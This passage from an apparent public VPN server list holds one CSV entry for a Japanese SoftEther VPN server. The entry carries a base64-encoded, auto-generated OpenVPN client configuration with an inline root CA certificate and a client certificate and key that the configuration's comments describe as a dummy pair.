lblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn711677985,60.126.0.2,1435004,5,262007516,Japan,JP,57,1103728195,917566,350805417957613,2weeks,DESKTOP-T9O1UH6's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA2MC4xMjYuMC4yIDE3MzANCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2ox